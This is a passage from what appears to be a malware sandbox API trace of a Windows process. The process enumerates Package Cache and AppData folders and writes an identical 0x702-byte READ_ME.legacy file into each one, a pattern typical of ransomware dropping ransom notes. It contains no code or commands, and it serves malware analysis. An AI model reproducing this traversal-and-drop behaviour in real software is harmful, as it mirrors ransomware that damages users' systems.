lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0135.033] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5b4d228, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c258 [0135.033] SetLastError (dwErrCode=0x12) [0135.033] GetLastError () returned 0x12 [0135.033] SetLastError (dwErrCode=0x12) [0135.033] GetLastError () returned 0x12 [0135.033] SetLastError (dwErrCode=0x12) [0135.033] FindNextFileW (in: hFindFile=0x60c258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5b4d228, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.033] SetLastError (dwErrCode=0x12) [0135.033] GetLastError () returned 0x12 [0135.034] SetLastError (dwErrCode=0x12) [0135.034] GetLastError () returned 0x12 [0135.034] SetLastError (dwErrCode=0x12) [0135.034] FindNextFileW (in: hFindFile=0x60c258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5b4d228, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd5b4d228, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd5b4d228, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.034] SetLastError (dwErrCode=0x12) [0135.034] GetLastError () returned 0x12 [0135.034] SetLastError (dwErrCode=0x12) [0135.034] SetLastError (dwErrCode=0x12) [0135.034] FindNextFileW (in: hFindFile=0x60c258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0135.034] SetLastError (dwErrCode=0x12) [0135.034] GetLastError () returned 0x12 [0135.034] SetLastError (dwErrCode=0x12) [0135.034] SetLastError (dwErrCode=0x12) [0135.034] SetLastError (dwErrCode=0x12) [0135.034] GetLastError () returned 0x12 [0135.034] SetLastError (dwErrCode=0x12) [0135.034] GetLastError () returned 0x12 [0135.034] SetLastError (dwErrCode=0x12) [0135.034] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x710 [0135.045] WriteFile (in: hFile=0x710, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.047] CloseHandle (hObject=0x710) returned 1 [0135.047] FindNextFileW (in: hFindFile=0x60c258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0135.047] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5b77346, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60bf18 [0135.048] SetLastError (dwErrCode=0x12) [0135.048] GetLastError () returned 0x12 [0135.048] SetLastError (dwErrCode=0x12) [0135.048] GetLastError () returned 0x12 [0135.048] SetLastError (dwErrCode=0x12) [0135.048] FindNextFileW (in: hFindFile=0x60bf18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5b77346, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.048] SetLastError (dwErrCode=0x12) [0135.048] GetLastError () returned 0x12 [0135.048] SetLastError (dwErrCode=0x12) [0135.048] GetLastError () returned 0x12 [0135.048] SetLastError (dwErrCode=0x12) [0135.048] FindNextFileW (in: hFindFile=0x60bf18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5b77346, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd5b77346, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd5b77346, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.048] SetLastError (dwErrCode=0x12) [0135.048] GetLastError () returned 0x12 [0135.048] SetLastError (dwErrCode=0x12) [0135.048] SetLastError (dwErrCode=0x12) [0135.048] FindNextFileW (in: hFindFile=0x60bf18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0135.048] SetLastError (dwErrCode=0x12) [0135.048] GetLastError () returned 0x12 [0135.048] SetLastError (dwErrCode=0x12) [0135.048] SetLastError (dwErrCode=0x12) [0135.049] SetLastError (dwErrCode=0x12) [0135.049] GetLastError () returned 0x12 [0135.049] SetLastError (dwErrCode=0x12) [0135.049] GetLastError () returned 0x12 [0135.049] SetLastError (dwErrCode=0x12) [0135.049] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x714 [0135.051] WriteFile (in: hFile=0x714, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.052] CloseHandle (hObject=0x714) returned 1 [0135.052] FindNextFileW (in: hFindFile=0x60bf18, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0135.053] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5d3cf54, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60bcd8 [0135.053] SetLastError (dwErrCode=0x12) [0135.053] GetLastError () returned 0x12 [0135.053] SetLastError (dwErrCode=0x12) [0135.053] GetLastError () returned 0x12 [0135.053] SetLastError (dwErrCode=0x12) [0135.053] FindNextFileW (in: hFindFile=0x60bcd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd5d3cf54, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.053] SetLastError (dwErrCode=0x12) [0135.053] GetLastError () returned 0x12 [0135.053] SetLastError (dwErrCode=0x12) [0135.053] GetLastError () returned 0x12 [0135.053] SetLastError (dwErrCode=0x12) [0135.053] FindNextFileW (in: hFindFile=0x60bcd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d3cf54, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd5d3cf54, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd5d3cf54, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.053] SetLastError (dwErrCode=0x12) [0135.053] GetLastError () returned 0x12 [0135.053] SetLastError (dwErrCode=0x12) [0135.054] SetLastError (dwErrCode=0x12) [0135.054] FindNextFileW (in: hFindFile=0x60bcd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0135.054] SetLastError (dwErrCode=0x12) [0135.054] GetLastError () returned 0x12 [0135.054] SetLastError (dwErrCode=0x12) [0135.054] SetLastError (dwErrCode=0x12) [0135.054] SetLastError (dwErrCode=0x12) [0135.054] GetLastError () returned 0x12 [0135.054] SetLastError (dwErrCode=0x12) [0135.054] GetLastError () returned 0x12 [0135.054] SetLastError (dwErrCode=0x12) [0135.054] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\vcRuntimeMinimum_amd64\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\vcruntimeminimum_amd64\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x718 [0135.056] WriteFile (in: hFile=0x718, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.058] CloseHandle (hObject=0x718) returned 1 [0135.058] FindNextFileW (in: hFindFile=0x60bcd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0135.058] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd5d3cf54, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60bfd8 [0135.058] SetLastError (dwErrCode=0x12) [0135.058] GetLastError () returned 0x12 [0135.058] SetLastError (dwErrCode=0x12) [0135.058] GetLastError () returned 0x12 [0135.058] SetLastError (dwErrCode=0x12) [0135.058] FindNextFileW (in: hFindFile=0x60bfd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd5d3cf54, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.058] SetLastError (dwErrCode=0x12) [0135.059] GetLastError () returned 0x12 [0135.059] SetLastError (dwErrCode=0x12) [0135.059] GetLastError () returned 0x12 [0135.059] SetLastError (dwErrCode=0x12) [0135.059] FindNextFileW (in: hFindFile=0x60bfd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d3cf54, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd5d3cf54, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd5d3cf54, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.059] SetLastError (dwErrCode=0x12) [0135.059] GetLastError () returned 0x12 [0135.059] SetLastError (dwErrCode=0x12) [0135.059] SetLastError (dwErrCode=0x12) [0135.059] FindNextFileW (in: hFindFile=0x60bfd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 1 [0135.059] SetLastError (dwErrCode=0x12) [0135.059] GetLastError () returned 0x12 [0135.059] SetLastError (dwErrCode=0x12) [0135.059] SetLastError (dwErrCode=0x12) [0135.059] SetLastError (dwErrCode=0x12) [0135.059] GetLastError () returned 0x12 [0135.059] SetLastError (dwErrCode=0x12) [0135.059] GetLastError () returned 0x12 [0135.059] SetLastError (dwErrCode=0x12) [0135.059] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\packages\\vcRuntimeAdditional_amd64\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{e512788e-c50b-3858-a4b9-73ad5f3f9e93}v14.10.25017\\packages\\vcruntimeadditional_amd64\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x71c [0135.062] WriteFile (in: hFile=0x71c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.063] CloseHandle (hObject=0x71c) returned 1 [0135.063] FindNextFileW (in: hFindFile=0x60bfd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0135.063] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd632868c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c298 [0135.063] SetLastError (dwErrCode=0x12) [0135.063] GetLastError () returned 0x12 [0135.063] SetLastError (dwErrCode=0x12) [0135.063] GetLastError () returned 0x12 [0135.063] SetLastError (dwErrCode=0x12) [0135.064] FindNextFileW (in: hFindFile=0x60c298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd632868c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.064] SetLastError (dwErrCode=0x12) [0135.064] GetLastError () returned 0x12 [0135.064] SetLastError (dwErrCode=0x12) [0135.064] GetLastError () returned 0x12 [0135.064] SetLastError (dwErrCode=0x12) [0135.064] FindNextFileW (in: hFindFile=0x60c298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd632868c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd632868c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd632868c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.064] SetLastError (dwErrCode=0x12) [0135.064] GetLastError () returned 0x12 [0135.064] SetLastError (dwErrCode=0x12) [0135.064] SetLastError (dwErrCode=0x12) [0135.064] FindNextFileW (in: hFindFile=0x60c298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0135.064] SetLastError (dwErrCode=0x12) [0135.064] GetLastError () returned 0x12 [0135.064] SetLastError (dwErrCode=0x12) [0135.064] SetLastError (dwErrCode=0x12) [0135.064] SetLastError (dwErrCode=0x12) [0135.064] GetLastError () returned 0x12 [0135.064] SetLastError (dwErrCode=0x12) [0135.064] GetLastError () returned 0x12 [0135.064] SetLastError (dwErrCode=0x12) [0135.065] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\\packages\\vcRuntimeAdditional_x86\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{f8cfeb22-a2e7-3971-9eda-4b11edefc185}v12.0.21005\\packages\\vcruntimeadditional_x86\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x720 [0135.662] WriteFile (in: hFile=0x720, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0135.663] CloseHandle (hObject=0x720) returned 1 [0135.663] FindNextFileW (in: hFindFile=0x60c298, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0135.663] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\ActiveSync\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6a3b29e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c198 [0135.663] SetLastError (dwErrCode=0x12) [0135.663] GetLastError () returned 0x12 [0135.663] SetLastError (dwErrCode=0x12) [0135.663] GetLastError () returned 0x12 [0135.663] SetLastError (dwErrCode=0x12) [0135.663] FindNextFileW (in: hFindFile=0x60c198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa96a60b1, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc4462fde, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd6a3b29e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0135.666] SetLastError (dwErrCode=0x12) [0135.666] GetLastError () returned 0x12 [0135.666] SetLastError (dwErrCode=0x12) [0135.666] GetLastError () returned 0x12 [0135.666] SetLastError (dwErrCode=0x12) [0135.666] FindNextFileW (in: hFindFile=0x60c198, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6a3b29e, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd6a3b29e, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd6a3b29e, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0135.666] SetLastError (dwErrCode=0x12) [0135.666] GetLastError () returned 0x12 [0135.666] SetLastError (dwErrCode=0x12) [0135.666] 